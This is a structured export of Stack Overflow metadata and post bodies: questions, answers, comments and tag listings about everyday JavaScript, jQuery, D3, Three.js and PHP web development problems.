possible better answer: http://stackoverflow.com/a/25572415
answer count: 2
downvote count: 4
upvote count: 0
tagged with: javascript
favorite count: 0
has title: Recursion version for this flattening?
has answer: http://stackoverflow.com/a/25572184
type: AnsweredQuestion
score: -4
has answer: http://stackoverflow.com/a/25572415
has body: Suppose a structure like this: [ {name: 'a', children: [{name: 'c', children: [...]}]}, {name: 'b', children: [{name: 'd', children: [...]}]} ] that goes say N levels deep. What would a recursive way to get all the elements in a flat array be? [{name: a}, {name: b}, ...] Note that a parent could have multiple children.
type: Question

http://stackoverflow.com/q/25640906
tagged with: javascript
type: AnsweredQuestion
score: 3
downvote count: 0
linked to: http://stackoverflow.com/q/17352251
tagged with: jquery
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/25641016
tagged with: http://stackoverflow.com/tag/html
has title: jQuery methods: difference between .submit() vs .trigger('submit')
upvote count: 3
has body: jQuery allows to trigger a form submission programmatically via either: $('.js-form-class-hook').submit(); $('.js-form-class-hook').trigger('submit'); Note: My understanding is that .trigger('submit') is to .submit() what .on('submit',function(e){}); is to .submit(function(e){});. In short .trigger('submit') is a more powerfull way than .submit() to programmatically submit forms . I already know some of the difference between .on('submit',function(e){}); and .submit(function(e){});, see my answer on What's the difference between $(form).submit and $(form).on("submit") in jQuery? , I would like to now understand better the role of .trigger('submit'). My conclusion: after some research I found out that using .trigger('submit') seems to provide the "only" (although very powerful) advantage of allowing to pass arbitrary data Sample usage 1: This can for instance be used to differenciate a "human" vs "programmatical" form submission. see live demo (click on Run/Clear in the top-right) on jsbin.com/jivexawixonu/1/edit?html,js,console,output HTML Submit form jQuery var pleaseConfirmSubmission = function( formElem ){ // ... some conditions checks // if condition met, submit with a flag formElem.trigger( "submit" , ['isProgrammaticalSubmission'] ); } $("body").on("submit", ".js-form-hook-xyz", function(event, isProgrammaticalSubmission) { console.log("on form submission: " + ( isProgrammaticalSubmission || "isHumanAction !" ) ); if ( !isProgrammaticalSubmission ){ /* JS truthy/falsy value usage */ event.preventDefault(); /* cancel form submission */ pleaseConfirmSubmission( $(this) ); } }); Resources: api.jquery.com/submit api.jquery.com/trigger api.jquery.com/on www.inkling.com/read/jquery-cookbook-cody-lindley-1st/chapter-8/recipe-8-5 Is there any other additional feature provided by .trigger('submit') that I missed ? Or is "allowing to pass arbitrary data" the only advantage of using .trigger('submit') ?
tagged with: forms
answer count: 1
accepted answer: http://stackoverflow.com/a/25641016

http://stackoverflow.com/comment/40066662
has text: I guess both Sunday and Tuesday are correct - in a way. Sunday is calculated by [Gregorian calendar](http://en.wikipedia.org/wiki/Gregorian_calendar) (JS Date is based on 1st Jan 1970 00:00 (Gregorian date)). Anyway, in 1494 [Julian calendar](http://en.wikipedia.org/wiki/Julian_calendar) was in use, and the actual day at that date was really Tuesday. Notice, that Gregorian/Julian is switched depeneding the year and country. at the site.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25638774

http://stackoverflow.com/comment/39902670
has text: @Renan thanks for creating the Tag. I couldn't
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25553753

http://stackoverflow.com/comment/65926559
score: 0
has text: *"The other solutions presented here, convert them to positive numbers, which is incorrect and dangerous"* Actually, they don't: https://eval.in/634165
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/35107122

http://stackoverflow.com/q/25592945
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25592993
tagged with: var
has body: Sorry for the newb question. But I have been trying for hours. var dbruns = {}; // namespace dbruns.dbstuff = { var nameslistresult = []; This gets an error, unexpected identifier. When I put it at the dbruns level var dbruns = {}; // namespace var nameslistresult = []; dbruns.dbstuff = { It gets past there, but then console.log(typeof dbruns.nameslistresult); console.log(typeof dbruns.dbstuff.nameslistresult); both return undefined. I really have no idea what is going on here, and any help would be appreciated.
has answer: http://stackoverflow.com/a/25592972
accepted answer: http://stackoverflow.com/a/25592972
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/39978587
tagged with: scope
score: 0
answer count: 2
possible better answer: http://stackoverflow.com/a/25592993
has comment: http://stackoverflow.com/comment/40004413
has title: How to declare variables in javascript
has comment: http://stackoverflow.com/comment/39975800

http://stackoverflow.com/q/25658428
type: UnansweredQuestion
tagged with: asp.net-mvc-4
has comment: http://stackoverflow.com/comment/40095290
type: Question
has body: I have grid in which check box is added for every row. When i click on Delete button without clicking check box it says "Please select one at least one row to perform". when clicking on check box will also displays same message. Please help me find out the solution and mistake i have done in the mentioned code below. //Calling Delete function clicking on checkbox $(document).ready(function () { //Grid Function $.ajax( { url: "GetCompanyTypeMasterDetails", type: "get", dataType: "json", contentType: "application/json", success: function (data) { $("#grid").igGrid({ autoGenerateColumns: false, primaryKey: "CompanyTypeID", columns: [ { headerText: "Company Type ID", key: "CompanyTypeID", dataType: "Numeric", hidden: true }, { headerText: "", key: "CompanyTypeID", dataType: "Numeric", width: "80", template: '&lt;table&gt;&lt;tr&gt;&lt;td&gt;&lt;input type="image" src="/Images/GridImages/edit.png" onclick = "EditRecords(${CompanyTypeID})" /&gt;&lt;/td&gt;&lt;td&gt;&lt;input type="image" src="/Images/GridImages/delete.png" onclick = "DeleteRecords(${CompanyTypeID})" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;' }, { headerText: "", key:"CompanyTypeID", dataType:"Numeric", width:"50", template: '&lt;input type="checkbox" id="chkID" /&gt;'}, { headerText: "Company Type", key: "CompanyTypeName", dataType: "string", width: "600" }, { headerText: "Company Code", key: "Code", dataType: "string", width: "600" }, dataSource: data} }); $("#btnDelete").click(function (ID) { var isSelected = $('#chkID').is(':checked'); if (!isSelected) { alert("Please select atleast one row to perform this action"); } else if (isSelected) { DeleteRecords(ID); } }); }); }); //Delete Function function DeleteRecords(ID) { $.ajax( { url: "DeleteRecords", type: "post", dataType: "json", data: {CompanyTypeID : ID}, success: function (data) { alert("Are you sure you want to Delete?"); location.reload(); }, error: function (status) { alert(status.responseText); } }); }
tagged with: javascript
tagged with: jquery
has title: Delete Function clicking on checkbox passing id in jquery
score: 0
has answer: http://stackoverflow.com/a/25658464
has comment: http://stackoverflow.com/comment/40095548
answer count: 1
has comment: http://stackoverflow.com/comment/40095312

http://stackoverflow.com/comment/39908546
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25554903
has text: Gotcha. I got confused without an example. This seems to parallel the above answers, which show a couple ways of resolving why my hard-coded element was clearing the list due to matching against `null` instead of an empty string. Thanks for the tips.
score: 0

http://stackoverflow.com/comment/39997306
type: QuestionComment
comment on: http://stackoverflow.com/q/25604620
score: 1
has text: Apologies for being thick but I don't think your example is complete. Where do you use your `LatLng` for example?
type: Comment

http://stackoverflow.com/q/25686117
answer count: 5
upvote count: 1
has comment: http://stackoverflow.com/comment/40145367
accepted answer: http://stackoverflow.com/a/25686243
type: AnsweredQuestion
tagged with: performance
possible better answer: http://stackoverflow.com/a/25686236
score: 1
has answer: http://stackoverflow.com/a/25686236
has comment: http://stackoverflow.com/comment/40144652
has comment: http://stackoverflow.com/comment/40144700
has comment: http://stackoverflow.com/comment/40145431
has comment: http://stackoverflow.com/comment/40144548
type: Question
has comment: http://stackoverflow.com/comment/40144535
has comment: http://stackoverflow.com/comment/40144626
downvote count: 0
tagged with: javascript
tagged with: jquery
has body: If I have many following divs: ... What is the best way (and best practice) to hide them all at once? $('.error').hide() or .addClass('hide') including .hide { display: none; } ?
has comment: http://stackoverflow.com/comment/40144463
has comment: http://stackoverflow.com/comment/40144615
has answer: http://stackoverflow.com/a/25686158
has answer: http://stackoverflow.com/a/25686396
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has title: What is the better performance way to hide HTML elements?
favorite count: 0
has answer: http://stackoverflow.com/a/25686243
has answer: http://stackoverflow.com/a/25686390

http://stackoverflow.com/a/25560828
accepted answer of: http://stackoverflow.com/q/25560274
has body: Don't change the event binding inside another event binding. Since you haven't removed the old event binding, you end up running multiple handlers for the same event. You should put the click handler for the enable/disable button at top level. For a binary option, use a boolean value, not a counter, which you can toggle with disable = !disable. You should also toggle it in the click handler for the enable/disable button, not the radio button. var disable = true; $('#adminControl1').click(function (e) { $("#appendText, #divText").prop("disabled", disable); $('.draggable').draggable(disable ? "disable" : "enable"); $("#adminControl1").val(disable ? "Enable All" : "Disable All"); disable = !disable; }); Clicking on the radio button shouldn't enable or disable anything, it should just hide or show the admin controls depending on which button was clicked. Since the two choices are mutually exclusive, there's no need to test for each value, so I've changed it to use toggle, with an argument that specifies the desired state. $('input[type="radio"]').click(function () { $("#adminControls").toggle($(this).attr("value") == "admin"); }); Updated fiddle UPDATE: In this version, the enable/disable button just toggles the disable variable and the label of the button, it doesn't actually enable or disable anything. The radio button click handler checks the value of the variable when it's switching into user mode, and enables/disables the controls accordingly. When it's switching into admin mode, it enables everything. var disable = false; $('#adminControl1').click(function (e) { disable = !disable; $("#adminControl1").val(disable ? "Enable All" : "Disable All"); }); $('input[type="radio"]').click(function () { if ($(this).attr("value") == "admin") { var tempdisable = false; // Everything is enabled for admin var adminmode = true; } else { tempdisable = disable; // Use the setting that admin assigned adminmode = false; } $("#adminControls").toggle(adminmode); $("#appendText, #divTe…
answers question: http://stackoverflow.com/q/25560274
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/39916162
type: Answer
score: 1
upvote count: 1

http://stackoverflow.com/comment/39979612
has text: Thanks for you answer. But as i am a noob to javascript, how do i put a hole DOM in one variable and how do i change a copy of that variable. Because document.getElementbyId probably won't work.
comment on: http://stackoverflow.com/a/25589087
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25637451
type: Question
upvote count: 0
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25637493
favorite count: 0
has answer: http://stackoverflow.com/a/25637586
answer count: 3
has comment: http://stackoverflow.com/comment/40056825
possible better answer: http://stackoverflow.com/a/25637493
accepted answer: http://stackoverflow.com/a/25637590
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40057286
has title: how to show a message using jquery in html when radio button is enabled
has body: I am new to jquery stuff and want to do following stuff : I have radio button enbaled and disabled. On onchanging to enabled, my html page at bottom it can show information "radio enabled thanks". Quick help is highly appreciated.
downvote count: 1
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40057430
score: -1
has answer: http://stackoverflow.com/a/25637590
has comment: http://stackoverflow.com/comment/40056831

http://stackoverflow.com/q/25609412
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25610077
has comment: http://stackoverflow.com/comment/40006124
score: 1
has comment: http://stackoverflow.com/comment/40005888
has comment: http://stackoverflow.com/comment/40005959
has comment: http://stackoverflow.com/comment/40006521
type: Question
has answer: http://stackoverflow.com/a/25609787
has comment: http://stackoverflow.com/comment/40005896
accepted answer: http://stackoverflow.com/a/25609787
downvote count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/40006697
possible better answer: http://stackoverflow.com/a/25609563
answer count: 3
upvote count: 1
has comment: http://stackoverflow.com/comment/40006218
has comment: http://stackoverflow.com/comment/40006389
favorite count: 0
has title: How to create custom transaction ID php
has comment: http://stackoverflow.com/comment/40005971
tagged with: php
has body: Since I'm new in Web Development I've created an online Reservation system and I have a Transaction Id where the customer can cancel their reservation. I've already create a Transaction Id in a random characters and letters But I want to create custom Id example: 2014-09-000010-PM but I don't know what to search in google for any tutorials. Thanks for the help. Btw here's my code for random characters and letters. function createRandomPassword() { $chars = "abcdefghijkmnopqrstuvwxyz023456789"; srand((double)microtime()*1000000); $i = 0; $pass = '' ; while ($i &lt;= 7) { $num = rand() % 33; $tmp = substr($chars, $num, 1); $pass = $pass . $tmp; $i++; } return $pass; } $confirmation = createRandomPassword(); ?&gt;
has answer: http://stackoverflow.com/a/25609563

http://stackoverflow.com/q/25647628
has comment: http://stackoverflow.com/comment/40075435
type: Question
has answer: http://stackoverflow.com/a/25648426
has comment: http://stackoverflow.com/comment/40076673
linked to: http://stackoverflow.com/q/4770025
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40075148
has comment: http://stackoverflow.com/comment/40075357
score: 0
answer count: 3
has body: I have a light box on my page. I would like to disable the following function when the light box is opened and enable it again when the light box is closed. Here is the code for the function: $.fn.fullpage.setMouseWheelScrolling = function (value){ if(value){ addMouseWheelHandler(); }else{ removeMouseWheelHandler(); } }; HTML for the light box: View Popup abc I'm using this plugin for the light box How can I disable / enable the function based on the light box being visible?
upvote count: 1
tagged with: http://stackoverflow.com/tag/html
downvote count: 1
has answer: http://stackoverflow.com/a/25648453
has title: Disable Scrolling Function
favorite count: 0
has answer: http://stackoverflow.com/a/25647721
has comment: http://stackoverflow.com/comment/40080338
type: UnansweredQuestion
tagged with: css

http://stackoverflow.com/q/25559922
score: -2
tagged with: javascript
has answer: http://stackoverflow.com/a/25559953
accepted answer: http://stackoverflow.com/a/25559953
has comment: http://stackoverflow.com/comment/39914575
has title: How to control the fade speed with jquery?
answer count: 3
upvote count: 0
has answer: http://stackoverflow.com/a/25559951
tagged with: jquery
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/39914375
type: AnsweredQuestion
downvote count: 2
has answer: http://stackoverflow.com/a/25559976
possible better answer: http://stackoverflow.com/a/25559951
has body: How do I control the FadeOut animation speed: setTimeout(fade_out, 5000); function fade_out() { $("#LoadingGIF").fadeOut().empty(); }
type: Question

http://stackoverflow.com/a/72673398
has body: The definition of push() method including two parts in javascript: Part 1: it adds one or more elements to the end of an array, part 2: it returns the new length of the array. I think you are missing the part 2 in your understanding of this method.
answers question: http://stackoverflow.com/q/25634173
score: 0
type: Answer

http://stackoverflow.com/q/25621935
tagged with: windows-phone-8
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/40031560
answer count: 2
has comment: http://stackoverflow.com/comment/40030991
has title: Worklight 6.2 : Unable to add multiple js files in windows phone 8 environment
tagged with: javascript
has comment: http://stackoverflow.com/comment/40166239
possible better answer: http://stackoverflow.com/a/25629544
score: 0
has comment: http://stackoverflow.com/comment/40031814
favorite count: 0
has comment: http://stackoverflow.com/comment/40029413
has body: I created a multipage app using Worklight for Android,iOS & Windows Phone 8 platforms. In that app, I have to include multiple js files in some pages, which is creating issues in the Windows phone 8 environment. Issue : If I include multiple js files, only first js file is loading in Windows phone 8 environment. I created a sample application using Worklight multi-page app to demonstrate the issue. In the Page1.html, I included 2 js files. Currently Page1.html page is loaded. Code in sample.js file $(document).ready(function(){ alert("sample.js loaded"); }); function alertHello() { alert("hello"); } When i tried to run the app in Windows phone 8 environment, Only the Page1.js is loading. STEPS TO REPRODUCE ERROR Click "Load Page1.html" Click "Show Alert" I am not getting the alert "hello" when I tried in windows phone 8 emulator/device. Any help in solving the issue will be much appreciated.
has answer: http://stackoverflow.com/a/25629544
has comment: http://stackoverflow.com/comment/40029394
tagged with: ibm-mobilefirst
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25696127
has comment: http://stackoverflow.com/comment/40028576
accepted answer: http://stackoverflow.com/a/25696127
has comment: http://stackoverflow.com/comment/40029498
has comment: http://stackoverflow.com/comment/40029559
upvote count: 1

http://stackoverflow.com/q/25624581
tagged with: css
tagged with: angularjs
type: UnansweredQuestion
has body: I'm new(ish) to angular. I come form a jQuery background and want to change my thinking. I have an element and as you scroll the page I want it to fade out. Say it was initally 100px from top I want the opacity of the element to be = top / 100. I put this directive on the element like so .directive("scrollOpacity", function (){ return { link: function ($scope, element, attrs) { element.bind('scroll', function (e) { console.log(e); }); } } }); &lt;div id="imageHolder" scroll-opacity&gt;&lt;/div&gt; This does nothing. I want to do this the 'Angular way' and would love to hear a couple of alternatives to help me get my head around the angular way of doing things
type: Question
tagged with: angularjs-directive
answer count: 1
tagged with: javascript
tagged with: jquery
score: 0
has answer: http://stackoverflow.com/a/25625035
has title: Set elements opacity depending on other elements scroll top in angular

http://stackoverflow.com/q/25575605
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39956004
has comment: http://stackoverflow.com/comment/39947420
tagged with: google-visualization
answer count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/40004435
type: Question
has title: How to pass configuration object for google visualization column chart from java server?
has body: I want to draw a column chart on a browser using Google visualization chart. I implemented DataSourceServlet to return the DataTable from the server side. However, I also need to custom format the vAxis ticks. And I want the custom format label comes from the server as well. How can I pass the vAxis.ticks object from the server to the client? I cannot find any method to attach it to the return DataTable object.
score: 0
tagged with: java

http://stackoverflow.com/comment/39899885
type: Comment
has text: if you've got a file already, why not `fgetcsv()`?
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/25552125

http://stackoverflow.com/a/25593725
has comment: http://stackoverflow.com/comment/39977454
has comment: http://stackoverflow.com/comment/40007425
type: Answer
has body: Let's say the animation is a function defined inside your iframe. To call it from outside, you could give a name attribute to your iframe (i.e. name="myIframe") and call the function that way: window.myIframe.myFunction(); Note: In Chrome, this might not work on local files due to Same Origin Policy rules. On a server, or using Firefox, there should be no problem.
accepted answer of: http://stackoverflow.com/q/25593597
has comment: http://stackoverflow.com/comment/39978086
score: 0
answers question: http://stackoverflow.com/q/25593597
type: AcceptedAnswer

http://stackoverflow.com/q/25648685
score: -5
has comment: http://stackoverflow.com/comment/40077419
has answer: http://stackoverflow.com/a/25649038
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40077513
has answer: http://stackoverflow.com/a/25648791
has title: How to check checkbox after show modal box?
downvote count: 5
tagged with: javascript
type: Question
has body: I don't understand what is happening in my code. I want to show a modal box when a checkbox is checked. I show the modal box but the checkbox keep unchecked Can you help me? Thanks in advance! Mantener horario del año anterior $("#mantenerhorario").click( function(){ $('body').append(' × Aviso my msg. Aceptar '); $('#modalMantenerHorario').find('.modal-body').text($(this).attr('data-confirm')); $('#modalMantenerHorario').modal({show:true}); $("#mantenerhorario").attr('checked', true); });
answer count: 2
upvote count: 0
has comment: http://stackoverflow.com/comment/40077310
has comment: http://stackoverflow.com/comment/40077206
tagged with: jquery
favorite count: 0

http://stackoverflow.com/comment/40092614
type: Comment
has text: I prefer to use the query string that I can serialize and send an entire form with many data fields
comment on: http://stackoverflow.com/a/25656742
type: AnswerComment
score: 0

http://stackoverflow.com/a/25711546
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25710552
answers question: http://stackoverflow.com/q/25710552
type: Answer
has body: .update() returns partially ciphered/deciphered content and you're immediately discarding that data. You're also missing the output encoding for .update() that matches what you're using in .final(). Try this: function encrypt(data) { var cipher = crypto.createCipher('aes-256-ecb', password); return cipher.update(data, 'utf8', 'hex') + cipher.final('hex'); } function decrypt(data) { var cipher = crypto.createDecipher('aes-256-ecb', password); return cipher.update(data, 'hex', 'utf8') + cipher.final('utf8'); }
upvote count: 11
score: 11
type: AcceptedAnswer

http://stackoverflow.com/q/25551162
tagged with: jquery
score: 1
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
type: UnansweredQuestion
upvote count: 1
has title: Inserting Row Into HTML Table within a FORM using Javascript
has body: I am trying to add a row to a table that is located in a form using javascript. The code works when is it is outside of the tags, but once the code is surrounded by , added rows will popup for a few milli seconds and then disappear. The attached code was tested on Firefox and Mozilla with the same results. If I remove the tags, the code works fine. Any ideal on why tags is causing a reload and making the added rows to disappear? Adding Row To Table Test: Vendor Product Add Row
tagged with: forms
has comment: http://stackoverflow.com/comment/39897507
type: Question
has answer: http://stackoverflow.com/a/25551473
answer count: 1
downvote count: 0
tagged with: javascript

http://stackoverflow.com/comment/84096564
score: 0
type: AnswerComment
type: Comment
has text: For your first `pick()` implementation you could also do something like `return props.reduce((r, prop) => (r[prop] = o[prop], r), {})`
comment on: http://stackoverflow.com/a/25554551

http://stackoverflow.com/q/25681374
has body: I'm scraping data from SamsClub.com using PHP $res = file_get_contents('http://www.samsclub.com/sams/bath-towel-apple-gr-100-cotton/prod10450797.ip'); I have create function using PHP explode to fetch data. function getData($content,$start,$end){ $str = explode($start,$content); $str = explode($end,$str[1]); return $str[0]; } All required data fetched successfully but only one thing is remaining. That is variations of product mean other colors as u can see in snapshot, there are different colors available. When we select an other color the item # &amp; Model # of product also changed as shown in following snapshot I just want to also fetch information like "item # &amp; model #" of other colors too. Waiting for your great response guys.
has comment: http://stackoverflow.com/comment/40741213
type: Question
accepted answer: http://stackoverflow.com/a/25721570
possible better answer: http://stackoverflow.com/a/25681463
has comment: http://stackoverflow.com/comment/40306805
has comment: http://stackoverflow.com/comment/40830836
has answer: http://stackoverflow.com/a/25681463
has title: Scrape product details from samsclub.com
score: 0
answer count: 2
tagged with: web-scraping
upvote count: 1
tagged with: php
downvote count: 1
has comment: http://stackoverflow.com/comment/40361240
has comment: http://stackoverflow.com/comment/40377953
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40280927
has answer: http://stackoverflow.com/a/25721570
tagged with: javascript
favorite count: 0
tagged with: ajax

http://stackoverflow.com/comment/40179755
score: 0
has text: Bumping `"minimum_chrome_version"` is quite a drastic measure to counter something that can as easily be fixed as in the example. Nevertheless, +1 because it is not always possible to easily counter such incompatible API changes. PS. `.test` is a method of a regexp, not of a string, so you should swap the operands in the if-condition.
type: Comment
comment on: http://stackoverflow.com/a/25704833
type: AnswerComment

http://stackoverflow.com/comment/40035055
type: QuestionComment
comment on: http://stackoverflow.com/q/25625089
has text: Try adding a breakpoint in developer tools in document.ready and step through to see what's null
score: 0
type: Comment

http://stackoverflow.com/q/25651473
score: 7
has answer: http://stackoverflow.com/a/25652667
downvote count: 1
has title: Creating Line Breaks in Dart
type: Question
accepted answer: http://stackoverflow.com/a/25652667
tagged with: javascript
tagged with: dart
tagged with: http://stackoverflow.com/tag/html
answer count: 1
has body: I need to get make a break inside a string that will output in HTML; String str = "Hello &lt;br /&gt; There"; would output: Hello There
has comment: http://stackoverflow.com/comment/40084339
favorite count: 0
has comment: http://stackoverflow.com/comment/40084392
linked to: http://stackoverflow.com/q/20868296
upvote count: 8
has comment: http://stackoverflow.com/comment/40084424
has comment: http://stackoverflow.com/comment/40084214
has comment: http://stackoverflow.com/comment/40084486
has comment: http://stackoverflow.com/comment/40086007
type: AnsweredQuestion

http://stackoverflow.com/q/25582784
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39957192
accepted answer: http://stackoverflow.com/a/25582809
has title: If statement doesn't work - chrome extension
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/25582895
tagged with: javascript
possible better answer: http://stackoverflow.com/a/25582895
score: 0
has body: That is my code from my background.js: chrome.webNavigation.onCompleted.addListener(function(o) { chrome.tabs.executeScript(o.tabId, { file: "test.js" }); }, { url: [ {hostContains: 'google.com'} ] }); What I want now is an if statement right where the test.js gets called. Something like this: If a == b then execute the line 'file: "test.js"' else do nothing I tried this but it didn't work: chrome.webNavigation.onCompleted.addListener(function(o) { chrome.tabs.executeScript(o.tabId, { if (a == b) { file: "test.js" } }); } Anyone know what I'm doing wrong ? Thanks !
has comment: http://stackoverflow.com/comment/39957170
has answer: http://stackoverflow.com/a/25582809
has comment: http://stackoverflow.com/comment/39957185
tagged with: google-chrome

http://stackoverflow.com/comment/39927964
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25566775
has text: @Paulie_D CSS blend modes seems available in latest Firefox, Chrome and Opera, and even in Chrome for Android, check it out: http://caniuse.com/#feat=css-backgroundblendmode
score: 0

http://stackoverflow.com/q/25706730
has comment: http://stackoverflow.com/comment/40183457
type: Question
has comment: http://stackoverflow.com/comment/40183152
has comment: http://stackoverflow.com/comment/40183115
has comment: http://stackoverflow.com/comment/40183336
has comment: http://stackoverflow.com/comment/40183217
tagged with: javascript
score: 0
has comment: http://stackoverflow.com/comment/40183200
has body: I'm trying to add coordinates to a input text after trimming characters from each end of the string. But for some reason my trimming part isn't working. Can anyone help me out here? I'd really appreciate it. Here's my code: &lt;input type="hidden" id="latlng" onload="getFinal()"&gt; &lt;script&gt; function getFinal(){ var input = document.getElementById('latlng').value; consolelog(input); var last = (input.length)-1; var final = input.substring(1,last); document.getElementById('final').value = final; } &lt;/script&gt; &lt;input type='hidden' id='final'&gt; ::: EDIT ::: I've tried simplifying things because the value that needs to be trimmed is in the rest of the code. But for some reason, when I use the code below, it still won't put the value in the text box. var final = pos.substring(1,(pos.length)-1); document.getElementById("final").value = final; Now I'm getting the error: TypeError: Cannot set property 'value' of null at :4:44
answer count: 1
has title: Adding Substring to Input
has comment: http://stackoverflow.com/comment/40183314
has comment: http://stackoverflow.com/comment/40183095
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40183220
has answer: http://stackoverflow.com/a/25707114
has comment: http://stackoverflow.com/comment/40184179

http://stackoverflow.com/comment/40026750
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25620956
score: 2
has text: Show us your full code and html.

http://stackoverflow.com/q/25690643
score: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/40222307
type: UnansweredQuestion
has title: How to color a mesh partially in Three.js
has comment: http://stackoverflow.com/comment/40200191
tagged with: three.js
answer count: 0
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/40311845
downvote count: 0
tagged with: javascript
has body: In the project I'm working on we need to show available office spaces in the building and the idea is to highlight just a portion of the floor rather than entire floor. For instance, if the space is located at the corner, so only corner will needs to be highlighted not the entire floor. The red strip is a mesh on top of each floor. I'm looking for ways to highlight just a part of it. Hitting my head against the wall to figure out how... please help! Thanks a lot Imgur
has comment: http://stackoverflow.com/comment/40342130

http://stackoverflow.com/a/25683219
answers question: http://stackoverflow.com/q/25683046
score: 0
has body: $('tr').addClass('opened'); $('th').click(function(){ var $el = $(this) $(this).closest('tr').next().slideToggle(0).toggleClass('opened closed'); }); CSS tr { background-repeat: no-repeat; background-position: left center; } .opened { background-image: url("bullet_toggle_minus.png"); } .closed { background-image: url("bullet_toggle_plus.png"); }
type: Answer

http://stackoverflow.com/q/25632867
answer count: 1
has body: I am building a D3 graph which contains a shaded region in the middle of it. The shaded regions top part matches the line graph. The data looks something like this: line = [ {x: 0, y:1}, {x: 1, y:2}, {x: 2, y:4}, {x: 3, y:6}, {x: 4, y:3}, {x: 5, y:1}] And the graph uses a 'cardinal' interpolation function: g = d3.svg.line() .interpolate('cardinal') In order to shade the area under the graph, I just create a d3.svg.area() and provide it with the equivalent data for the shaded area, e.g (to shade between x=2 and x=4): area = [ {x: 2, y:4}, {x: 3, y:6}, {x: 4, y:3}] a = d3.svg.area() .interpolate('cardinal') , but my problem is that I want to shade the area under the graph between 1.5 and 3.5 for which I dont know the values after the 'cardinal' interpolation has taken place. So, I need to work out how to either a) apply a cardinal interpolation over the data and then pick out the values for 1.5 and 3.5 or b) extract the line data from d3 and use that to build up the data for the area graph. for a) I have looked at d3.interpolate, but it looks like its different from d3.line.interpolate() and does not allow you to pass the interpolation method. for b) I cant work out how to extract the data from the line once it has been interpolated... its not documented anywhere in D3.
type: AnsweredQuestion
downvote count: 0
has title: Get values from D3 line interpolator functions
tagged with: javascript
score: 1
has answer: http://stackoverflow.com/a/25634518
accepted answer: http://stackoverflow.com/a/25634518
favorite count: 0
type: Question
tagged with: http://stackoverflow.com/tag/svg
tagged with: d3.js
upvote count: 1

http://stackoverflow.com/a/25612019
has body: Its because you are passsing the wrong reference. change this: onblur="updateQ(Q1)" to this: onblur="updateQ(this)"
answers question: http://stackoverflow.com/q/25611960
type: Answer
downvote count: 1
score: -1
has comment: http://stackoverflow.com/comment/40010394
upvote count: 0

http://stackoverflow.com/comment/40097630
type: Comment
has text: If you are looking for a more complicated example, here is one that uses very similar approach: https://github.com/parano/Global-Terrorism-Visualization
comment on: http://stackoverflow.com/a/25659619
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40009052
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25608332
score: 0
has text: Could load all images , at document load , into element with `style="display:none"` , then load the images from that element into the displayed document.

http://stackoverflow.com/comment/40432441
comment on: http://stackoverflow.com/a/25841676
score: 0
type: AnswerComment
has text: Adroll is only supposed to make one call. He's talking about loading all of the different sets of code from one, I think, and to do what you're suggesting, he's going to need some kind of server-side script to download all the javascript files for him, or he's still making the same number of calls from the browser, he just has to make an EXTRA one to get the initial script that loads everything else.
type: Comment

meteor
tags question: http://stackoverflow.com/q/25612857
tags question: http://stackoverflow.com/q/25712430
tags question: http://stackoverflow.com/q/25703435
tags question: http://stackoverflow.com/q/25656151
tags question: http://stackoverflow.com/q/25570959
tags question: http://stackoverflow.com/q/25579542
tags question: http://stackoverflow.com/q/25673025
tags question: http://stackoverflow.com/q/25552305
tags question: http://stackoverflow.com/q/25674087
tags question: http://stackoverflow.com/q/25682908
tags question: http://stackoverflow.com/q/25581301
tags question: http://stackoverflow.com/q/25611985
tags question: http://stackoverflow.com/q/25595540
tags question: http://stackoverflow.com/q/25571419
tags question: http://stackoverflow.com/q/25613343
tags question: http://stackoverflow.com/q/25636996
tags question: http://stackoverflow.com/q/25674659
tags question: http://stackoverflow.com/q/25674597
tags question: http://stackoverflow.com/q/25580643
tags question: http://stackoverflow.com/q/25631551
tags question: http://stackoverflow.com/q/25656670
tags question: http://stackoverflow.com/q/25631767
tags question: http://stackoverflow.com/q/25589173
tags question: http://stackoverflow.com/q/25582370
tags question: http://stackoverflow.com/q/25709958
tags question: http://stackoverflow.com/q/25593261
tags question: http://stackoverflow.com/q/25677701
type: Tag
tags question: http://stackoverflow.com/q/25602639
tags question: http://stackoverflow.com/q/25694826
tags question: http://stackoverflow.com/q/25704485
tags question: http://stackoverflow.com/q/25706055
tags question: http://stackoverflow.com/q/25672155
tags question: http://stackoverflow.com/q/25688952
tags question: http://stackoverflow.com/q/25709540
tags question: http://stackoverflow.com/q/25675169
tags question: http://stackoverflow.com/q/25560884
tags question: http://stackoverflow.com/q/25592591
